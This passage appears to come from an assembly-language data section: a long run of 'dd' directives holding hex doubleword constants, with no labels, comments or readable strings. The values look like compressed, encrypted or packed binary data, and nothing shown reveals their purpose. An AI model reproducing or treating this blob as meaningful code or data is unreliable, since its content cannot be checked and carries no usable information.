99A4A321h, 161F159Ah, 96BD8300h, 173A028Dh, 47850F68h dd 3025E44Fh, 0B58F00FAh, 33584E2Fh, 68FE4B27h, 9D5BAFBCh dd 0E73A70A0h, 433A32D8h, 6283AB7h, 0C9B8AEFDh, 0D54E1C21h dd 9E877CD3h, 41C88510h, 1C1620Ch, 82F01884h, 939601DEh dd 0EF3D35DAh, 90303BD8h, 0F416BBA3h, 8529022Fh, 62B040DCh dd 9F444083h, 38583066h, 0DE0A06A1h, 20A54F7Ah, 3FD8BF24h dd 0A061BA0Fh, 5F587228h, 6862504Bh, 0BF74B9h, 301AD139h dd 0F41DE326h, 1F9AD00h, 57B19EE4h, 0F8E800C9h, 13E153D1h dd 2F1FD670h, 0B280C6B6h, 8AFD4E7Ch, 887F00D2h, 9A158F26h dd 0D50FD478h, 66D76259h, 747C454Bh, 6DE000BEh, 4DE4CDEDh dd 3C003914h, 0D6443F77h, 0F47624Ah, 410DACE3h, 4F25A603h dd 0C1406487h, 0E09A44ACh, 5B00EC86h, 0F3DC26C2h, 4527F0h dd 2CF19E6Eh, 0D81FF5ABh, 1C9D5600h, 3BFA6CCBh, 791901E1h dd 76AAF432h, 0D4FEFDDAh, 700E60Eh, 4A0B856Ch, 0C026EDh dd 1723E4B0h, 0FB8278E0h, 47B84B0Eh, 0FF252064h, 1CD0107h dd 45677229h, 0F8170E20h, 783B11DDh, 0EC5EAA38h, 365958h dd 790A75D0h, 54E33743h, 60ACE82Ch, 0A5D6CA54h, 27072A87h dd 0F2076FD8h, 0EE6B3650h, 89FD0A62h, 1D040B0h, 82CF99A2h dd 0B1418023h, 0E73E9365h, 0C0BCEA09h, 0EF4E2171h, 0C7001A9Dh dd 0B939D14Bh, 1E775A17h, 821CBCC3h, 3A7B572Eh, 6A65D5E0h dd 0FD79DB00h, 1C5052DDh, 0EEA30004h, 27638211h, 0DB3E4FDCh dd 0CF100B1h, 9DC886E2h, 0BCBEB7h, 83BD7A4h, 1B582D17h dd 26BA0BD0h, 0E41868DBh, 98B9A035h, 1A2E475h, 49697ABBh dd 0C46A9352h, 4203BEB4h, 0E4C41045h, 0C2D907B1h, 0C00A7989h dd 1EB8DF6Dh, 5BA04400h, 0FFE971CCh, 0AC7D03B1h, 54B04AF4h dd 380C0F93h, 79473FB9h, 0A10260B7h, 49D0B0BBh, 4A525900h dd 0B32B7966h, 11F4EB7h, 6EBC8510h, 6B5AFCDEh, 7DD0C350h dd 0A048A66Eh, 0D289D014h, 189E0006h, 0E980036Dh, 0D90042CFh dd 894A0FBh, 33B14F8h, 8E13D4B6h, 0C0909889h, 0BBF0D35Fh dd 605504A5h, 91BA2446h, 5701BB98h, 0BD3E6DF0h, 8BC0E08Fh dd 6FD3009Fh, 0C5E42074h, 6D3C9EBAh, 0B823A71h, 0DF91BF6Ah dd 0E4979C00h, 98035878h, 2D733479h, 94BF9010h, 57160317h dd 0D32F0B95h, 0ECE278CAh, 0BA0AFAC0h, 5D079473h, 3B82B2B4h dd 2B21B980h, 1C9E0AB7h, 5774CE0Fh, 0F16140Bh, 0F2409FBBh dd 438DCBB5h, 0A9FC1DB2h, 0E6E9005Fh, 1A14E550h, 12C20603h dd 21B82E78h, 0F908BE29h, 9CCE90E7h, 1A21B791h, 5550F81Dh dd 2C084221h, 0FD8688BEh, 90FEA788h, 0F1519ED6h, 2228E228h dd 0AA2215F3h, 0B4462268h, 0A214EE50h, 449E2144h, 0B344116Bh dd 0C5C0448Ah, 84922044h, 42C14122h, 18A31136h, 3E6D6611h dd 849244EEh, 426A4D22h, 0B928117Ah, 8B009E22h, 9415AD9Ah dd 0B2F831h, 0D7A0D1B7h, 6F207C90h, 7F6BFB2Eh, 0A7077100h dd 0BBFE35h, 917414Bh, 939F27E5h, 0CF839201h, 3946FBF5h dd 70B04CC8h, 40C0011Eh, 0E87B3A38h, 0F47AE8DFh, 0BC0002E4h dd 1BEDD55Ch, 3D2CB8h, 0B7210A92h, 0AD27A465h, 8E3ED800h dd 1688811Ah, 0EA040EDAh, 0E260DCAFh, 3A69FAEFh, 4A90B700h dd 7AD3287h, 7FF40025h, 0A27201Ch, 40B1091h, 0D673EB7Eh dd 600904F7h, 13C90F0h, 9A00824Ah, 5591A80Dh, 1F75D93Dh dd 1EA06883h, 20E5005Ah, 459B597Fh, 2D563303h, 0D8774h dd 0FEFC6E40h, 0A7D8716Bh, 6F229100h, 8C5E6586h, 52E6042Eh dd 80BE9966h, 0D271EA2Dh, 23D93300h, 6355A14h, 9DF1D90h dd 64ABC0F2h, 0E7D5E575h, 0E6D79F1Ch, 0FD90C8C0h, 1A250h dd 8DBB8E61h, 0D45C25F5h, 4EF8F90Fh, 6BC74033h, 7012998h dd 28F46A85h, 541550C5h, 0EC006064h, 348AA6EBh, 24CEB9ABh dd 34258DCh, 99001F8h, 8A7A0CB0h, 93BBB30Ah, 0A300803Ch dd 1C44BFC0h, 7016886Fh, 0D2929F00h, 7A0319B0h, 467F0089h dd 0FE8EF91Dh, 8100B117h, 0C1B682D1h, 1D59F3FBh, 41CA3204h dd 0FE51FF4Ch, 0F8E2EA36h, 0A1F29500h, 50398C30h, 80E808Eh dd 1C315705h, 0DE71008Fh, 0E2B35211h, 0D200389Dh, 0A5DC096Fh dd 1E344BFCh, 5FBCA44Eh, 0F296C0F3h, 0F1DAD12Ch, 0B6D62A00h dd 43CD06A1h, 4E6026C9h, 99740030h, 70FD11D0h, 7773C1Dh dd 30DA5CC0h, 0E8AC715Fh, 0B306003Bh, 0FF22210h, 2600BF2Fh dd 48E15829h, 0F6521751h, 0E8B40E6Dh, 65407B3Ch, 0DFE56B4Ah dd 88383103h, 0A877D67Ch, 0A7100Fh, 32B4945Dh, 0D509EDD9h dd 0C5331E00h, 65C2257h, 7ED300A4h, 9BB16664h, 0AE1E51E5h dd 6543E29Dh, 0E0B58ADFh, 2041517h, 0A1D75FF2h, 44484253h dd 208D14Ah, 4317548h, 1309AAh, 0B6B48D14h, 0A7E6001Fh dd 211CAB33h, 0A0298E1h, 0CB4B5DDDh, 87B040FFh, 63410047h dd 2130481Eh, 0A2062558h, 0C79461EDh, 9D4F3D80h, 6A4FE80h dd 0B4492DBFh, 0D61F7700h, 42853EF2h, 98AB003Ch, 23EFB82Fh dd 1D004CC8h, 509BA978h, 427D34h, 24AD432Bh, 51FAAF20h dd 9CCA5800h, 7CA3D135h, 75B06AAh, 0C0E38FBCh, 85054304h dd 0E890E9D5h, 0EA49BF56h, 0D0A4009Dh, 7183E06h, 7C09F82Bh dd 3135D08h, 81B6A38Fh, 0F0DF356Dh, 6F9857h, 0EF5D6931h dd 11047DADh, 0A930F900h, 2618D654h, 0BB340138h, 0DDB74591h dd 0C987F6CEh, 8471C050h, 0D5000186h, 8F541EDFh, 0FA9C0C95h dd 50A07D18h, 74CE8B7h, 0E2097161h, 3298046h, 0C1B5ACA3h dd 0D8E3A4CCh, 0F4DBD619h, 0BBECA0AFh, 0D9DCA069h, 566E0CFCh dd 4F106845h, 3F024405h, 0E4029A1Ch, 71095ADh, 91F730DAh dd 4203AFFCh, 0CB877764h, 0CD0B80BDh, 0C145003Ah, 89C66CA7h dd 0D8A039F8h, 0BE0159DBh, 0DE26B73Fh, 3AF082D3h, 0DCB20730h dd 20327A8Bh, 0C785D178h, 1E07B5F0h, 0DBBFB101h, 4A054260h dd 0C4490143h, 0FA6A9B64h, 0BB6BFCAEh, 0F08EC00h, 0AC882A9Eh dd 0E8E2A3B6h, 12C39D9h, 5F470491h, 802A487Fh, 4CAC3DC2h dd 0A67468h, 0FA2BAB0Ah, 95EA1444h, 24C45648h, 604EBCA8h dd 0C1CC3B7Eh, 658E0098h, 12131E9Bh, 44003F07h, 584E5E25h dd 675314h, 77F68CFAh, 9B265ABDh, 0B1DF3E00h, 9160AF79h dd 15C49099h, 0E06438EBh, 25D4A130h, 0CB0073BBh, 0CA3DBC94h dd 91E52Eh, 93480324h, 2950BA70h, 0B700827Ch, 0E118064Ch dd 2A7853Fh, 7C7B9CAEh, 0E8801CDEh, 76B2F2DCh, 0B56DEC00h dd 456B3EA5h, 84EE79h, 0BA3783DAh, 42445852h, 0C4356103h dd 0F0498287h, 99099Ch, 29014B92h, 67D0E226h, 7C68E900h dd 85138237h, 11730047h, 8E6C5204h, 0DFEABE2h, 34BD3102h dd 407C1FB8h, 51E130Ch, 63B92535h, 0C22C80EBh, 6D0058F9h dd 0A31843B1h, 39BBB4A8h dd 0CDBC054Fh, 530F0E00h, 0AA92B0C5h, 0C7975800h, 99278186h dd 0BF7F12D2h, 0E990005Eh, 0AF2B1220h, 8B1C1F00h, 0F806AB0Fh dd 0C0DF14D3h, 0D400DC52h, 5DB63039h, 161E0390h, 0DD6C70E6h dd 0CC55FA01h, 53E85B0Eh, 0D9420771h, 0A01F0FEFh, 27413909h dd 3276B10Fh, 4D16C06Fh, 729B1A15h, 0BFDCA083h, 11DB21D5h dd 8695CF81h, 44605831h, 6E23003Ch, 4382F626h, 904C6477h dd 76F874CEh, 8E9C673Bh, 0E02F1A4Ch, 0CE787B21h, 26FF004Eh dd 4A2B48C7h, 6F05E560h, 0A12EEEC6h, 1ACD4CC0h, 0FDC72491h dd 264C0096h, 4571A074h, 3BB7221Dh, 4DE89703h, 4352F0DDh dd 56B501E3h, 6882FA36h, 0E814088h, 0B000D1FDh, 0AC7B06A7h dd 0D449FBh, 0A968EC17h, 11586BA4h, 1400EAE0h, 6309AD9h dd 1EE4C0Fh, 8CE4CD90h, 0DCE888A2h, 7CE40CC7h, 0D6445500h dd 10CB9116h, 28267F46h, 48C05701h, 760B3714h, 900D69Eh dd 3A7CB531h, 4A3F4704h, 0A0904F8Ch, 1C1D84ABh, 0B9DF4E2Fh dd 82766AA5h, 76F4C100h, 0E40D5582h, 0C5DA14DBh, 7F02C097h dd 0C9D79B16h, 665858C8h, 3426CEA0h, 183C542Ch, 9C922328h dd 4DFB8A00h, 0E7CFA9F9h, 0F5AC01BDh, 0C8A5A041h, 6060F240h dd 0E0265ECh, 0D610F175h, 390CE892h, 5C7070h, 2C85E4Fh dd 76750EEh, 0D859FE00h, 0AE77612Ah, 0FFC40046h, 2CA572B2h dd 0A639E06Ah, 0B05D009Ah, 51A1A01Eh, 814802FDh, 2B90C3B6h dd 0FEBCD040h, 0E21E0B17h, 2625F400h, 0BE3D53h, 0FDE36439h dd 330D416h, 0F8B8757Ah, 79805900h, 0A6FAB649h, 5B17006Fh dd 8E7A882Dh, 0CC1E9664h, 95438778h, 0C043FB44h, 0F261F62h dd 9E411E5Dh, 0E234AAC0h, 8800B919h, 0F4ABE85Bh, 38E4B0DFh dd 0B48182CBh, 47FB9A74h, 1F0ED08Fh, 7AE8A100h, 15ABB219h dd 7C98D0h, 1A23AFE6h, 18A73F31h, 846FFD00h, 0F29CEEC4h dd 22AF4B8h, 1D76EFBAh, 8080B031h, 0E5241A26h, 45C88B50h dd 93527B00h, 9E2CD8E2h, 54F20042h, 82673A17h, 942ED7A4h dd 8E8E10CBh, 2E4B5CFh, 4235409Ch, 5AF0831Ch, 40B3B257h dd 60D700h, 2719F81Fh, 26674DBAh, 0FC6BD20Fh, 0D43E092h dd 268074Fh, 0A15B6F20h, 50607FABh, 0C4005125h, 0DB129A06h dd 1DC8B3E8h, 0C071EE45h, 568615D7h, 0BA03FB55h, 286BBDFEh dd 0C8C0A478h, 59CB81h, 685C9794h, 50B18A2Eh, 21788200h dd 0EE5D0A47h, 0E8CD07A0h, 459323h, 0DA5ED088h, 0C06FE931h dd 7BDCEE19h, 585A0F33h, 0A2404D2Ah, 0E8B06ECCh, 57005FECh dd 60A8B45h, 16307CFCh, 43B27BD9h, 0DC4DB304h, 606F5FC1h dd 0E100E5FAh, 3E56C131h, 0F1D1E3h, 0C7896EC8h, 54BC8847h dd 0C9AF0F0Eh, 3D912084h, 0BEA371h, 0D214FA37h, 9D5F7446h dd 550EF27Ah, 0C277EB0Eh, 813B1244h, 1DF3DBC8h, 72563701h dd 0CA4510FCh, 0C3EDD100h, 31B09EA6h, 11024D00h, 0FC5D0632h dd 13CE01F5h, 12541680h, 9DF9E417h, 80D34B3Bh, 2188F20Fh dd 0DC5587h, 0FE81C845h, 1D46311Eh, 0AB0DE300h, 686D5742h dd 0A7A00ECh, 0D3A0C638h, 6F13CFB0h, 67132132h, 0A78C9904h dd 0C08A7882h, 4F873Dh, 0E7177133h, 86430223h, 0B2C89F00h dd 900892CFh, 621F007Bh, 7ADCDAC4h, 7003AEAh, 33EFF967h dd 0EED5A0D9h, 0A2ECF2h, 0E5C67F29h, 5A5E77A4h, 0E7FA7600h dd 81E0B5B6h, 9B759Fh, 7EDF222Eh, 96D7C501h, 0EA33ED00h dd 7AC65AB0h, 5442D40Ch, 0A187007Fh, 19973C47h, 4F0CF91Ch dd 0A62617D2h, 33340054h, 0FFDA320Fh, 8F0E0804h, 60F9DB20h dd 0A23602DFh, 75D500F7h, 10E84CB3h, 38B035C7h, 0EC6B2607h dd 826136EBh, 0CCE818AEh, 56A601E4h, 2D3AC604h, 0F4893109h dd 450A65B3h, 0B41DAB6Ah, 3F0D003Fh, 0DFA5F768h, 0E8000F5h dd 935AB478h, 4403FE04h, 6C68CC57h, 0EA30001Ch, 0AEDB5082h dd 0D512E891h, 2C0025ACh, 9FBED28Eh, 0C8E73A39h, 0CC632A80h dd 514B06FBh, 41C0EEF4h, 0BED19C13h, 0E98B059Dh, 814A16E5h dd 30B23CBAh, 110BD474h, 83EDD67Ch, 0BAFA5E1Dh, 0B3BCA051h dd 3AC016D9h, 0F58065CCh, 0A4C7929Ah, 850061DBh, 90743A32h dd 0BC8313Dh, 0CFA27E9h, 9400C456h, 0D17B5543h, 9ECD0029h dd 6D214CFFh, 0CE38B431h, 0F38CCD7h, 724273Eh, 0E87037F9h dd 552A06Ah, 422E50E6h, 0DC38D30Dh, 4E12E788h, 92004490h dd 1D1C95C2h, 28F8D6h, 6D03945Bh, 96498A0Eh, 0C7DEF216h dd 0F8231880h, 0D8BC1266h, 0BEA0D7B8h, 52F9A0E0h, 33026B1Bh dd 0E8947FBAh, 0D134608Dh, 6638051Ah, 29E1D2h, 0A50660A0h dd 90002DEDh, 19C0E8D6h, 666182h, 0A71EAC99h, 0DDE01D6Ch dd 0C2710090h, 79829B0Eh, 3732800Dh, 4CA9367Ch, 1F0CD5ACh dd 80396B63h, 0D209FD76h, 8029E50Dh, 0A74D588Dh, 7F1D01C1h dd 8C2D562Ch, 26F82863h, 96B0476h, 50401B3h, 7C7A592h dd 718125A9h, 0BCACB348h, 37B186E8h, 0F4677700h, 5768DDE4h dd 857043h, 70EE3D5h, 0B7793850h, 0A153731Ch, 0A065E74Fh dd 8EED9443h, 5DFC2889h, 0EFC200A4h, 0BA9FA408h, 0DB01AAC9h dd 4E7DCA18h, 0FEF86406h, 0A0B203B0h, 8B2EA32Fh, 7EF5A6A8h dd 2C271B3Ch, 0FD07CE8Eh, 36204445h, 3E6DE86Bh, 26018819h dd 2E8AE727h, 37D5DC51h, 1A5C3CB0h, 851F0065h, 0B1F4BCF6h dd 721E38C8h, 0A84F6180h, 0ED3E71E4h, 7F1C6A09h, 79D0E0FBh dd 0FC20541Dh, 20585C41h, 7ECAA600h, 19FE6815h, 63E9FF00h dd 1A1E8782h, 0D9C90739h, 9340BD59h, 0D7D8F63Dh, 0A20066D2h dd 8CAF9ABBh, 9112CBEh, 0AB1DE856h, 0D7B44B80h, 0A802D180h dd 7148CE37h, 0D51C036h, 68E40065h, 0BAF76B24h, 8F0BD766h dd 450AD35Eh, 830D835Ch, 0B2F26843h, 3C80A4E1h, 0FB05958h dd 80BA969Dh, 84E1F8F1h, 758F2C5h, 0D0DE6EEDh, 425FC116h dd 39D5C4BBh, 0B40E6070h, 1E5062B3h, 0B67ED1C0h, 0A60F46h dd 4DFF0E67h, 0C2BA9195h, 2215F003h, 9D0C452Eh, 0EFDDF045h dd 0B79572C0h, 4391C0F8h, 2AD55009h, 0EAE6CF00h, 51B9DF4h dd 6ADE000Ch, 9164E7CCh, 0BE741FD5h, 0BB704802h, 80E1C6CDh dd 7301D2C0h, 0D0B84Eh, 7699FA62h, 8BED084h, 8143972Fh dd 1E01E8BFh, 5600483Ch, 7074FEFCh, 76007D5Bh, 90A2ED14h dd 2E2EA441h, 8050B13Ch, 9C615106h, 8F2AFFCEh, 621398DCh dd 0FF031005h, 0EE6994CFh, 11E71519h, 0EA00BCF4h, 2DA7900Bh dd 0CD2C5797h, 4A02508Dh, 734BB7DDh, 5DD906FCh, 0E6023961h dd 8E5E6587h, 2A98A013h, 0C0CAC335h, 0B5098C21h, 0D804E0F9h dd 0BD5C4132h, 1ED944F0h, 0EAEC539h, 48C145CBh, 201E5FB8h dd 53005608h, 4497599h, 0F4ADF365h, 389097h, 71D0FDCDh dd 60B61751h, 0DFEAEF00h, 0D6BDAA4Fh, 0FAA20031h, 850D8FF4h dd 9B7F3258h, 0D093F200h, 5F3A34EAh, 219685BDh, 771EDB00h dd 0BFD187h, 66CD39FAh, 0F7FECFA8h, 0D6D9AF0Fh, 817E0C3h dd 3E2520h, 41391260h, 366EE48Dh, 6CE7B316h, 8200D61Ch dd 0B7ED1AC3h, 8721231h, 0ABB090FBh, 9D881494h, 0D26E0E28h dd 5F00742Fh, 63F4B545h, 5304A58h, 0D148F1F6h, 1A3A7280h dd 4FF000ACh, 82939785h, 3E002974h, 0EABA630Dh, 5B80B1h dd 0D38899C3h, 0D5A1AE7Ch, 8334E000h, 3E109D1Fh, 7B0472F8h dd 0DCF2009Ch, 4CD04911h, 0BA38EE85h, 0A3F18027h, 18BCB5ADh dd 91750035h, 2AA55FDh, 0B00084FCh, 0DB294023h, 7A0FC4BFh dd 0D1A0010h, 5452DEA4h dd 88036950h, 0F10918B1h, 78819005h, 0F33A00A8h, 3DA1A6E7h dd 0AE03346Dh, 9A3B529Ch, 0E2DA98DDh, 47AA0040h, 0A70CCC61h dd 7E0154E3h, 0BB499E7Ch, 0F9D0AC29h, 0C5522C81h, 452C0F40h dd 2FB28080h, 820F2EAFh, 4BD4C3F5h, 397818C7h, 1F889CD5h dd 38193DFh, 9A4F66C7h, 0A9CDF2A7h, 4CABACE0h, 9C7BC48h dd 0C857511Eh, 25EA62Ch, 69AED4AAh, 0B446A43Ch, 0C08410E4h dd 0D586E531h, 0D800F96Bh, 0BC01E6F8h, 98B36163h, 15EE0314h dd 6EE3DBDFh, 1189AAD0h, 22E2BE00h, 0E92BF5FFh, 0AF4924ECh dd 65CA80C8h, 0A12648CBh, 0DE030DFEh, 9B8A8CBBh, 0E4D0D45Fh dd 6F1ED40h, 0A314C3C9h, 130289F7h, 3442B4FFh, 9485855h dd 6F216B0Ah, 46565068h, 49642606h, 70B424h, 4D0795E2h dd 78C45B57h, 8171AF39h, 0DB531126h, 0A03E34D9h, 0C601A090h dd 6B7DC02h, 0D8819693h, 67D641B6h, 4DF6C056h, 0B0335126h dd 0BB12023Dh, 4898881Eh, 4176B0h, 748736FCh, 0B75FE965h dd 831CC6E4h, 0A540F463h, 0A947F15Eh, 0BF9C006Ch, 0CA1E3A14h dd 40C04FB9h, 0FE0D31E1h, 88BE5C18h, 41348C84h, 91E189C6h dd 10161081h, 38CC3BA7h, 5EB300E8h, 94893DBEh, 0E5C200A0h dd 0D77DCBF6h, 49000253h, 0AC5BE287h, 61D3DCh, 0E6BBF5D6h dd 77B9D863h, 83D6F01h, 102FCF1Eh, 7D748C9h, 0B4E1AE40h dd 7FCA3083h, 702F6A2Eh, 0A1DCB2h, 0A41B8F0Bh, 0C3ED7F9h dd 957F00FFh, 89818B72h, 1A774Ah, 1E416540h, 3FEDE3C1h dd 8C03CB01h, 736A1255h, 3F993CD0h, 0C300BE63h, 4054B77Ah dd 9100E65Ah, 975E43ACh, 201F1Eh, 2E7C18C8h, 0B2F44F6Eh dd 729E7000h, 0CB5E7E73h, 0F7F0044h, 0BE51B701h, 2200D31Ah dd 6A5DA4D7h, 0E0C97446h, 796F7E2Bh, 0FFEE0097h, 23042AABh dd 0DD1C1CCFh, 2240D5CBh, 822FB470h, 1801008Fh, 8D9F49E7h dd 0D8E4364Bh, 0F75B2000h, 1505FFA7h, 739D00F0h, 8C08DE52h dd 2F005CD1h, 11E4A070h, 89D462h, 0ECEBB497h, 0A6992131h dd 55E73D00h, 0D4B184EAh, 0BEB3029Dh, 0C36439E3h, 0DDC5AF60h dd 0A00A1100h, 0FA26C8FBh, 0CD100176h, 0BA1B2809h, 0C97DF81Fh dd 251C1500h, 0DD2187A2h, 79CE058h, 7F352F27h, 509E2C2Ah dd 60D56F00h, 6AA48BCEh, 13480F01h, 0C5871D23h, 641A218Fh dd 1F3CF843h, 0FC1F31EAh, 0A4FCCBBh, 67D6CF57h, 0EC80D453h dd 1E7965CFh, 403B6B45h, 5DA21842h, 471E62A1h, 1B80EA23h dd 328446Eh, 0E838007Dh, 20972264h, 5A007076h, 3C68B3BFh dd 787B11BAh, 648200C3h, 0AD77446Ch, 0EB002DEAh, 1072019Dh dd 75D65F5h, 0E2B9B368h, 8E89224Ah, 0BE2A2EE0h, 0A0B20734h dd 5DA35C80h, 0E4FB3BBDh, 8367D100h, 0C3031FF9h, 844FDD28h dd 222E1300h, 0EE407E7h, 88F868h, 3F60F380h, 0A6EAF6D8h dd 0EF0F46E4h, 60E379BFh, 0BAE788F0h, 0CD20004Dh, 0EE0F2405h dd 87709C2h, 1C7E3300h, 2D788802h, 0FC760068h, 96894345h dd 0FF0EC0D8h, 9CBAA7CBh, 5E1F40C0h, 3AE6A27h, 73E5C8ACh dd 36908344h, 3800909Eh, 0AF3E23B3h, 12A53B84h, 0C010297h dd 0BD78B448h, 0C7682E01h, 0E7C9261Ch, 0AF71C8h, 0B460A779h dd 68AB33A4h, 5E2FF200h, 0C94D1CB8h, 0CAAC0155h, 69DEC096h dd 688DC8F5h, 48597B24h, 53D62F82h, 0D20303EAh, 3BE56807h dd 0BA909D81h, 3E2744B3h, 4FB84D2Ch, 7CDDF80Eh, 29A90E00h dd 6800A734h, 199DB6D3h, 497016F3h, 0F71078BDh, 929E00E2h dd 78402582h, 0D2F60FA4h, 4A60DE54h, 2D96DB8Fh, 58896A07h dd 9517C612h, 33D96E80h, 57040FEBh, 35007DA7h, 4E0ABDF3h dd 9429A43Fh, 8C1541h, 0C60D687Fh, 0C1EEF4h, 3F91A155h dd 9413F7DBh, 77C00E00h, 89DEC04h, 0CF88003Ah, 79FBB97Eh dd 0AA006958h, 10414227h, 80F21Fh, 4362C0F0h, 0FAFE12FCh dd 0B959F600h, 709DE299h, 66BA0005h, 1217734h, 0E0C19A08h dd 0D993FC78h, 5D25D0h, 0EF76BF2Bh, 288C6999h, 0B0132F05h dd 0D80095C9h, 7B78EE02h, 5DA00BDh, 0A066379Ch, 0CB725B44h dd 0BF6C0100h, 0C4934513h, 6DB40075h, 0D8E6DE1Dh, 710921DAh dd 76419A1h, 0D910EE8Eh, 0A3E012h, 53EBA039h, 5915F179h dd 5A648307h, 9F47B4CBh, 56B1B960h, 28847C2Ah, 58B8E1Ah dd 5D466BADh, 53A44373h, 0F380080Ah, 573E9DBEh, 8830E03Fh dd 702149h, 0AF7A508Ah, 7B481D4Ch, 0A650F3F2h, 6400D08Ch dd 0BC846C0Ch, 13090DC8h, 6225D2h, 0B902312Ch, 0FF0099FAh dd 9F782028h, 3FD5BFF5h, 0A380EFB1h, 0FA660C4Eh, 0A8780858h dd 8800787Ah, 0CF43803Dh, 0FCB0E8h, 542D71BDh, 0D60FC773h dd 4216F880h, 0ADC61C3Dh, 2598CB40h, 5C9FCAF9h, 950FDFE5h dd 7B879258h, 15C89264h, 0FC30C860h, 0F8C01771h, 3655B274h dd 783A0403h, 80468194h, 3CC6BED4h, 19C75700h, 0DF2159BAh dd 0E83B00D1h, 0CCB1A617h, 383BA803h, 6A2483AAh, 0A88B5F8Ah dd 2D8FF43h, 42A55DCDh, 90689E39h, 200E6FAh, 9CADA8DBh dd 6EA475h, 0E5FBD73Ch, 87B0A709h, 0A1E87F0Eh, 320C4378h dd 85ED9075h, 0E427001Fh, 56D03894h, 19008DB9h, 0A8967AAAh dd 0C02FDCh, 0CFFAEF6h, 479EA176h, 634DE800h, 88DB5417h dd 12F60053h, 0D0169679h, 242C7502h, 840FF3AEh, 1AF521BFh dd 0DD408D1Bh, 58226B9Ah, 5B2CF826h, 0F5CE0BB8h, 9246AC00h dd 1000CD11h, 80BBA131h, 79177AACh, 3680082h, 9FFCAB6Ch dd 0C724919h, 0BEE49A09h, 0E70C8024h, 31D4A12h, 41688FA2h dd 67B2D229h, 9480DC48h, 38495524h, 4280DE9Ch, 5EDDB7FDh dd 38D55CE4h, 0B3E830Fh, 9F9C17C1h, 0EE28D094h, 7844DD00h dd 0FEB169B4h, 89EB1FCBh, 416B5C5Ah, 209E916Fh, 7F94201Eh dd 513D0179h, 24990317h, 800F6041h, 63AAB7h, 1FD56BF1h dd 0B8E458D3h, 80A0F53Eh, 3BE3261Bh, 146EAD55h, 91CBE08Ah dd 9DF60377h, 0DF068D13h, 9BC1EDF0h, 1B32860Fh, 0C6B840F9h dd 0C777CAh, 629A034Bh, 80FE36AFh, 0BBCE640Ch, 905D54F3h dd 54A10090h, 0D9094C0Ah, 0E80EE9B8h, 401045F5h, 0D3C9FFC1h dd 0B59B03DCh, 1798886Ah, 0F33326C0h, 0D172AD00h, 4969187Ah dd 0E3E100B6h, 9F77FDA6h, 6E731AA8h, 23966600h, 0AFEED5CAh dd 0DCE609ADh, 0EC809DEFh, 93BEFC77h, 0DB203F00h, 4CD83E2h dd 741113D9h, 7A20042Fh, 264A802Eh, 0C628BF8Fh, 5100C40Dh dd 9AEC3697h, 6485B50h, 650740DFh, 0C109212Eh, 86B4CC62h dd 1EB09AE4h, 0C879ACh, 8440FA32h, 50010331h, 0F012495h dd 2860F589h, 0D9F307FDh, 8E2CE862h, 142A97A0h, 6600BD98h dd 1F6F3341h, 79DCABEFh, 3946283Bh, 86900A5h, 0E89A9559h dd 8E1D5597h, 11D2E740h, 1B93F000h, 47F9F4h, 9865A8C0h dd 22C81F0Eh, 74785B7Dh, 0D83F8A79h, 708587A7h, 0C330E9A1h dd 956DF9h, 0CC968236h, 0ECDA0F8Ah, 0A000D990h, 0D017F025h dd 4CA7A318h, 3902B070h, 0D20B4B67h, 0EBB7F240h, 9DA9F4A0h dd 5C515D10h, 3660AD00h, 0D5851581h, 2BF4AE00h, 2D411471h dd 0DFBD00E9h, 66C987B8h, 237883D4h, 0EF3FFA03h, 0D9DDD689h dd 8345264h, 0F2D204C7h, 0C4D79B73h, 370EEF84h, 76E930h dd 80528AA0h, 6DBF0451h, 0ECF34F3h, 78E4F573h, 1FDD388h dd 4F32253Fh, 401F8BFFh, 0C4E9B4C4h, 0AD413A03h, 0D9CE79h dd 0A49C6448h, 96F5859h, 0E8803C91h, 3FCD15E3h, 0F74B027h dd 174289D5h, 833443C0h dd 0E77665A3h, 3CF403Eh, 728F37F9h, 2391E08Bh, 1DFE5Ch dd 6A250644h, 0DC9A964Fh, 0D9E54500h, 55EBD54Bh, 12E00B5h dd 6C6EC711h, 0C1B894A1h, 2EBCA858h, 280C87A3h, 90D11F3h dd 88E93E81h, 7D90CE00h, 1E05F6EBh, 34F96339h, 0E5DCC400h dd 0A32933h, 9F0E05D4h, 0A2EFC1B1h, 4A183730h, 0CCD0FBh dd 665B77C2h, 0D8DC24A3h, 0D4700BF8h, 30FB8C00h, 41EC87EDh dd 4BDB00C0h, 851A902Dh, 59005054h, 5EA44DA2h, 9044E998h dd 0D4C90081h, 8BB6664h, 8C004B34h, 3732117Ah, 796E55F6h dd 0B7E00D8h, 0DF6F4451h, 12002CE9h, 46C4BB16h, 0B0CCF7h dd 7CB9B30Ah, 0B2E982A9h, 812B183Dh, 0C8309BEDh, 0E5F4E0DCh dd 3F220710h, 30116AEEh, 0EDB463B3h, 0B73BF900h, 47B5F7F3h dd 1C5009Dh, 6FD78C23h, 54480DD9h, 0F4C90024h, 70E6CA72h dd 0C480071h, 9D2ABCD2h, 6900FB6Ch, 0C0FEFF24h, 0A25EABh dd 0D8231079h, 1572493Bh, 0F52A8300h, 5988C4FEh, 178B033Dh dd 7EC60A10h, 201836D1h, 0FA2F7025h, 0FADE68h, 3ACA732h dd 9C009516h, 0B1C9EF63h, 86D5BAh, 9F01CE5Dh, 3C9611A0h dd 8AC6D00h, 9025891Dh, 0D5760050h, 2038E3BFh, 0E10098DDh dd 67EF6634h, 957811h, 0EE96AFD8h, 55A1ECA7h, 51002872h dd 0FD534B75h, 0B34DD11h, 0C6D52F89h, 5C00BCD4h, 54E2F3E4h dd 0A386017Eh, 1B190767h, 509FC48h, 8033F93Ch, 473EEE50h dd 1DEF8565h, 691E37h, 0F1D4113Dh, 0FFE8A44Bh, 45964D00h dd 0ED0BC979h, 189A756Ah, 0D8831DD1h, 4E03FAC6h, 0B0E4693Fh dd 0AA8184E9h, 0A060E7F8h, 0D6C40065h, 34E6CE6h, 0ECA3C65Bh dd 0BD468DF8h, 7E76825Ch, 2F493800h, 8453A448h, 3F2301CAh dd 91BA81F2h, 451931A5h, 410A001Ch, 780B6707h, 0A09D230Ch dd 1550FFh, 0FCA81F3Dh, 20D9F466h, 0D2B6A00h, 97CC890Eh dd 1B7D62h, 40C6D1EBh, 0A2356553h, 31517F03h, 0C8B1CC1Ch dd 9D0AD89h, 0FE974E2Ah, 4DA6CD00h, 21789D6Ah, 1D00BD90h dd 0E77E3A88h, 12E9F2Fh, 47225D98h, 208915E2h, 0A8C0DCDEh dd 3AB3FBA3h, 0ECEA71AEh, 0D7C200B7h, 0E6A7AA8Ch, 0ABF0F48Ah dd 0A0C9DE28h, 9980040Fh, 0D809DDBh, 